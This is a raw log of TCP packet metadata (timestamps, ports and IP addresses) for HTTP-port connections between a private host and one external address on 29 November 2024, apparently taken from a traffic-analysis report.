Nov 29, 2024 01:52:32.313513994 CET	80	49774	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.313736916 CET	80	49774	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.313787937 CET	80	49774	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.313796997 CET	80	49774	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.313805103 CET	49774	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:32.313847065 CET	80	49774	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.313849926 CET	49774	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:32.313863993 CET	80	49774	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.313910961 CET	49774	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:32.313944101 CET	80	49774	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.313951969 CET	80	49774	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.314012051 CET	49774	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:32.314057112 CET	80	49774	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.314065933 CET	80	49774	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.314086914 CET	80	49774	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.314121962 CET	49774	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:32.314138889 CET	80	49774	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.316433907 CET	49774	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:32.433811903 CET	80	49774	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.433880091 CET	80	49774	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.433897018 CET	49774	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:32.433914900 CET	49774	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:32.433931112 CET	80	49774	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.433939934 CET	80	49774	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.433988094 CET	49774	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:32.477468014 CET	80	49774	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.477602005 CET	49774	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:32.597490072 CET	80	49774	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.597570896 CET	49774	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:32.641485929 CET	80	49774	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.641588926 CET	49774	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:32.761475086 CET	80	49774	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.825295925 CET	80	49773	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.825359106 CET	49773	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:32.825395107 CET	49773	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:32.849885941 CET	80	49774	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:32.849960089 CET	49774	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:32.923860073 CET	49774	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:32.941207886 CET	49775	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:32.945410013 CET	80	49773	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.061239004 CET	80	49775	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.064805031 CET	49775	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:33.064846039 CET	49775	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:33.117887974 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:33.184767008 CET	80	49775	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.237879992 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.237947941 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:33.238214016 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:33.238248110 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:33.238317013 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:33.238332987 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:33.358333111 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.358345985 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.358355999 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.358422041 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.358432055 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.358444929 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:33.358491898 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:33.358494043 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.358510971 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.358547926 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:33.358547926 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:33.358565092 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:33.358594894 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.358603954 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.358645916 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:33.358716011 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.358725071 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.358733892 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.358771086 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:33.358789921 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:33.478636026 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.478698969 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:33.478729963 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.478739977 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.478749990 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.478795052 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:33.478832006 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:33.525543928 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.525667906 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:33.641485929 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.641561031 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:33.689471960 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.692549944 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:33.805430889 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.901458025 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:33.901526928 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.149684906 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.149760962 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.192044973 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.192142963 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.269776106 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.293875933 CET	80	49775	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.293986082 CET	49775	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.294013977 CET	49775	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.312222958 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.312247038 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.312381983 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.312432051 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.312591076 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.312599897 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.312622070 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.409816027 CET	49777	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.413970947 CET	80	49775	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.421710014 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.421773911 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.421818972 CET	49776	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.529804945 CET	80	49777	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.529895067 CET	49777	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.530024052 CET	49777	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.541760921 CET	80	49776	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.625457048 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.649902105 CET	80	49777	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.745568991 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.745640993 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.745754004 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.745831966 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.745906115 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.745925903 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.865602016 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.865839005 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.865853071 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.865923882 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.865982056 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.865993023 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.866024971 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.866080046 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.866095066 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.866174936 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.866218090 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.866229057 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.866262913 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.866266966 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.866272926 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.866326094 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.866364002 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.866374016 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.866420031 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.985991955 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.986018896 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.986057043 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.986152887 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.986162901 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:34.986212015 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:34.986251116 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:35.029485941 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:35.029628992 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:35.149604082 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:35.149701118 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:35.193406105 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:35.193476915 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:35.313509941 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:35.405503988 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:35.405682087 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:35.653454065 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:35.653515100 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:35.699815989 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:35.699882030 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:35.714190006 CET	80	49777	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:35.714251041 CET	49777	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:35.714349985 CET	49777	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:35.773555040 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:35.819912910 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:35.819957018 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:35.820080042 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:35.820137024 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:35.820301056 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:35.820363998 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:35.820467949 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:35.831619024 CET	49779	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:35.834314108 CET	80	49777	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:35.929794073 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:35.930417061 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:35.930443048 CET	49778	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:35.951648951 CET	80	49779	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:35.951778889 CET	49779	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:35.951947927 CET	49779	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:36.050394058 CET	80	49778	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.071855068 CET	80	49779	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.212188005 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:36.332166910 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.334419966 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:36.334525108 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:36.334578991 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:36.334667921 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:36.334692955 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:36.454423904 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.454498053 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.454580069 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.454597950 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.454667091 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:36.454679012 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.454689980 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.454745054 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:36.454804897 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.454814911 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.454868078 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:36.454916954 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.454927921 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.454963923 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.454981089 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:36.455012083 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.455014944 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:36.455142021 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:36.574645996 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.574666977 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.574765921 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:36.574794054 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.574794054 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:36.574862003 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:36.574867010 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.574919939 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:36.617482901 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.617641926 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:36.737675905 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.737932920 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:36.781470060 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.781641960 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:36.901489019 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.989420891 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:36.992649078 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:37.135400057 CET	80	49779	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:37.136655092 CET	49779	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:37.136655092 CET	49779	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:37.237457037 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:37.240744114 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:37.253721952 CET	49781	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:37.256580114 CET	80	49779	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:37.289180040 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:37.291471958 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:37.360727072 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:37.373665094 CET	80	49781	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:37.376425028 CET	49781	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:37.376539946 CET	49781	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:37.411539078 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:37.411556005 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:37.493460894 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:37.493472099 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:37.493474960 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:37.493479013 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:37.493482113 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:37.493484974 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:37.496488094 CET	80	49781	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:37.518877983 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:37.519038916 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:37.519098043 CET	49780	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:37.639034986 CET	80	49780	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:37.762912989 CET	49782	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:37.883124113 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:37.883187056 CET	49782	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:37.883363008 CET	49782	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:37.883363008 CET	49782	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:37.883435965 CET	49782	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:37.883460045 CET	49782	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:38.003267050 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.003427029 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.003472090 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.003555059 CET	49782	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:38.003599882 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.003609896 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.003614902 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.003753901 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.003794909 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.003926039 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.003947973 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.003974915 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.004067898 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.004096031 CET	49782	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:38.017527103 CET	49782	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:38.123802900 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.123812914 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.123960018 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.123980045 CET	49782	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:38.124020100 CET	49782	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:38.124059916 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.124106884 CET	49782	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:38.165498018 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.165654898 CET	49782	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:38.285516024 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.285621881 CET	49782	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:38.329467058 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.329653978 CET	49782	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:38.449503899 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.537477016 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.537707090 CET	49782	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:38.559956074 CET	80	49781	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.560137033 CET	49781	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:38.560189009 CET	49781	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:38.675638914 CET	49783	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:38.680247068 CET	80	49781	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.785573006 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.785646915 CET	49782	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:38.795713902 CET	80	49783	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.795896053 CET	49783	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:38.796008110 CET	49783	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:38.837615013 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.837704897 CET	49782	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:38.905589104 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.915962934 CET	80	49783	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.957870007 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.957936049 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.958045006 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.958060980 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.958115101 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.958161116 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:38.958201885 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.067451000 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.067514896 CET	49782	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:39.067548037 CET	49782	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:39.187633991 CET	80	49782	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.270267010 CET	49784	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:39.390233994 CET	80	49784	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.390315056 CET	49784	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:39.390439034 CET	49784	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:39.390506983 CET	49784	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:39.390568018 CET	49784	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:39.390592098 CET	49784	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:39.510322094 CET	80	49784	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.510624886 CET	80	49784	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.510664940 CET	80	49784	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.510674000 CET	80	49784	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.510720968 CET	80	49784	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.510729074 CET	49784	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:39.510768890 CET	80	49784	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.510785103 CET	49784	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:39.510811090 CET	49784	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:39.510829926 CET	80	49784	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.510855913 CET	80	49784	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.510902882 CET	49784	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:39.510953903 CET	80	49784	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.510977030 CET	80	49784	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.511018991 CET	49784	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:39.511023045 CET	80	49784	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.511059999 CET	80	49784	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.511110067 CET	49784	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:39.630825996 CET	80	49784	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.630836010 CET	80	49784	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.630887985 CET	49784	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:39.630930901 CET	80	49784	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:39.630979061 CET	80	49784	72.52.178.23	192.168.2.4
